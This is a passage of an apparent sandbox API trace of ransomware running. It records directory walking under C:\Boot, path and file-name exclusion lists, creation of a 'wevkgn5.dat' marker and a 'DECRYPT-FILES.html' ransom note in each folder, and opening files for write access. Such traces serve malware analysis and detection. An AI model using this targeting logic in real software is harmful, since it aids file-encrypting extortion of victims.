(lpString="wevkgn5.dat") returned 11 [0057.983] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.983] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\en-US\\wevkgn5.dat") returned="C:\\Boot\\en-US\\wevkgn5.dat" [0057.983] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.984] CreateFileW (lpFileName="C:\\Boot\\en-US\\wevkgn5.dat" (normalized: "c:\\boot\\en-us\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.984] CloseHandle (hObject=0x0) returned 0 [0057.984] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.984] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88970d30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88970d30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88970d30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0057.984] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0057.984] CloseHandle (hObject=0x280) returned 1 [0057.985] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0057.985] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0057.985] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0057.985] lstrcatW (in: lpString1="es-ES", lpString2="\\" | out: lpString1="es-ES\\") returned="es-ES\\" [0057.985] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch=":\\Windows") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\Program Files") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\Games\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.985] StrStrW (lpFirst="C:\\Boot\\es-ES\\", lpSrch="\\All Users") returned 0x0 [0057.985] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0057.985] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.985] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES\\\\wevkgn5.dat") returned 26 [0057.985] CreateFileW (lpFileName="C:\\Boot\\es-ES\\\\wevkgn5.dat" (normalized: "c:\\boot\\es-es\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.989] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0057.989] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.989] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES\\\\DECRYPT-FILES.html") returned 33 [0057.989] CreateFileW (lpFileName="C:\\Boot\\es-ES\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\es-es\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.154] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.155] CloseHandle (hObject=0x2f8) returned 1 [0058.155] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0058.155] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0058.155] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x889e3150, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x889e3150, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.156] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.156] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x889e3150, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x889e3150, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.156] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.156] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.156] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.156] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.157] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.157] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.157] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0058.157] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.157] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\es-ES\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0058.157] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0058.157] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.157] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.157] CloseHandle (hObject=0x0) returned 0 [0058.157] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.158] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889e3150, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x889e3150, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a092b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.158] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.158] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889bcff0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x889bcff0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x889bcff0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.158] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.158] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0058.158] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.158] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\es-ES\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0058.159] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\es-ES\\wevkgn5.dat") returned="C:\\Boot\\es-ES\\wevkgn5.dat" [0058.159] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.159] CreateFileW (lpFileName="C:\\Boot\\es-ES\\wevkgn5.dat" (normalized: "c:\\boot\\es-es\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.159] CloseHandle (hObject=0x0) returned 0 [0058.159] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.159] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889bcff0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x889bcff0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x889bcff0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.160] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.160] CloseHandle (hObject=0x280) returned 1 [0058.160] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0058.160] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0058.160] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0058.160] lstrcatW (in: lpString1="fi-FI", lpString2="\\" | out: lpString1="fi-FI\\") returned="fi-FI\\" [0058.160] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch=":\\Windows") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\Program Files") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\Games\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.160] StrStrW (lpFirst="C:\\Boot\\fi-FI\\", lpSrch="\\All Users") returned 0x0 [0058.161] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0058.161] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.161] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI\\\\wevkgn5.dat") returned 26 [0058.161] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\\\wevkgn5.dat" (normalized: "c:\\boot\\fi-fi\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.161] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0058.161] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.161] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI\\\\DECRYPT-FILES.html") returned 33 [0058.161] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\fi-fi\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.178] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.179] CloseHandle (hObject=0x2f8) returned 1 [0058.179] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0058.179] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0058.179] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88a2f410, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a2f410, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.180] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.180] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88a2f410, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a2f410, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.180] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.180] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.180] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.180] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.180] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0058.180] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.180] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\fi-FI\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0058.180] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0058.181] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.181] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.181] CloseHandle (hObject=0x0) returned 0 [0058.181] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a2f410, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88a2f410, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a2f410, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.182] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.182] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a092b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88a092b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a092b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.182] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.182] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0058.182] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.182] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\fi-FI\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0058.182] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\fi-FI\\wevkgn5.dat") returned="C:\\Boot\\fi-FI\\wevkgn5.dat" [0058.182] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.183] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\wevkgn5.dat" (normalized: "c:\\boot\\fi-fi\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.183] CloseHandle (hObject=0x0) returned 0 [0058.183] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.183] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a092b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88a092b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88a092b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.184] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.184] CloseHandle (hObject=0x280) returned 1 [0058.184] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0058.184] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0058.184] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0058.184] lstrcatW (in: lpString1="Fonts", lpString2="\\" | out: lpString1="Fonts\\") returned="Fonts\\" [0058.184] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch=":\\Windows") returned 0x0 [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\Program Files") returned 0x0 [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\Games\\") returned 0x0 [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.184] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.185] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.185] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.185] StrStrW (lpFirst="C:\\Boot\\Fonts\\", lpSrch="\\All Users") returned 0x0 [0058.185] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.185] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.185] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\\\wevkgn5.dat") returned 26 [0058.185] CreateFileW (lpFileName="C:\\Boot\\Fonts\\\\wevkgn5.dat" (normalized: "c:\\boot\\fonts\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.188] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0058.188] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.188] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: 